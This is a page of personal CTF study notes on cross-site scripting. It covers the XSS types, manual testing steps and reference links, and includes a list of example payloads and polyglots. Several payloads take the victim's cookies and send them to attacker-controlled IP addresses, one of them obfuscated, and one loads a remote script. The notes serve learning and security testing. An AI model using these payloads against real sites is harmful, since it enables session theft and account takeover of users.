> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/web-attacks/cross-site-scripting-xss.md).

# Cross-Site Scripting (XSS)

Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data.

### What can XSS be used for? <a href="#what-can-xss-be-used-for" id="what-can-xss-be-used-for"></a>

An attacker who exploits a cross-site scripting vulnerability is typically able to:

* Impersonate or masquerade as the victim user.
* Carry out any action that the user is able to perform.
* Read any data that the user is able to access.
* Capture the user's login credentials.
* Perform virtual defacement of the web site.
* Inject trojan functionality into the web site.

## What are the types of XSS attacks? <a href="#what-are-the-types-of-xss-attacks" id="what-are-the-types-of-xss-attacks"></a>

There are three main types of XSS attacks. These are:

* [Reflected XSS](https://portswigger.net/web-security/cross-site-scripting#reflected-cross-site-scripting), where the malicious script comes from the current HTTP request.
* [Stored XSS](https://portswigger.net/web-security/cross-site-scripting#stored-cross-site-scripting), where the malicious script comes from the website's database.
* [DOM-based XSS](https://portswigger.net/web-security/cross-site-scripting#dom-based-cross-site-scripting), where the vulnerability exists in client-side code rather than server-side code.

## Find and test for XSS vulnerabilities

Manually testing for **reflected** and **stored** XSS normally involves:&#x20;

* submitting some simple unique input (such as a short alphanumeric string) into every entry point in the application,&#x20;
* identifying every location where the submitted input is returned in HTTP responses, and&#x20;
* testing each location individually to determine whether suitably crafted input can be used to execute arbitrary JavaScript.&#x20;

In this way, you can determine the [context](https://portswigger.net/web-security/cross-site-scripting/contexts) in which the XSS occurs and select a suitable payload to exploit it.

Manually testing for **DOM-based** XSS arising from URL parameters involves a similar process:&#x20;

* placing some simple unique input in the parameter,&#x20;
* using the browser's developer tools to search the DOM for this input, and&#x20;
* testing each location to determine whether it is exploitable.&#x20;

However, other types of DOM XSS are harder to detect. To find DOM-based vulnerabilities in non-URL-based input (such as `document.cookie`) or non-HTML-based sinks (like `setTimeout`), there is no substitute for reviewing JavaScript code, which can be extremely time-consuming.

### Example payloads

```html
<img src=x onerror="alert('XSS!')">
```

```html
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

```html
<body onload="new Image().src='http://192.168.10.11?cookie='+document.cookie;">
```

```html
"><script src=http://192.168.138.6:8081/name></script>
```

```html
"><script>fetch('http://192.168.138.6:4444/c?x='+document.cookie)</script>
```

```html
<script>fetch("http://127.0.0.1:12345/?"+document.cookie).then(response => response.text());</script>
```

```html
<img src=/ ['on'+'load']="this.src='http://10.11.12.13:8000/?c='+window['doc'+'ument']['coo'+'kie']">
```

### Polyglots

```javascript
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
```

```javascript
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
```

### OWASP Testing

Testing for **Reflected** Cross Site Scripting - OWASP: <https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting>

Testing for **Stored** Cross Site Scripting - OWASP: <https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting>

### PortSwigger Testing <a href="#testing-for-stored-cross-site-scripting" id="testing-for-stored-cross-site-scripting"></a>

How to find and test for **reflected** XSS vulnerabilities - PortSwigger: <https://portswigger.net/web-security/cross-site-scripting/reflected#how-to-find-and-test-for-reflected-xss-vulnerabilities>

How to find and test for **stored** XSS vulnerabilities - PortSwigger: <https://portswigger.net/web-security/cross-site-scripting/stored#how-to-find-and-test-for-stored-xss-vulnerabilities>

How to test for **DOM-based** cross-site scripting - PortSwigger: <https://portswigger.net/web-security/cross-site-scripting/dom-based#how-to-test-for-dom-based-cross-site-scripting>

## Resources

Cross Site Scripting (XSS) - OWASP: <https://owasp.org/www-community/attacks/xss/>

Cross Site Scripting - PayloadAllTheThings: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md>

Cross-site scripting - PortSwigger: <https://portswigger.net/web-security/cross-site-scripting>

Cross-site scripting (XSS) cheat sheet - PortSwigger: <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>

XSS (Cross Site Scripting) - HackTricks: <https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html>
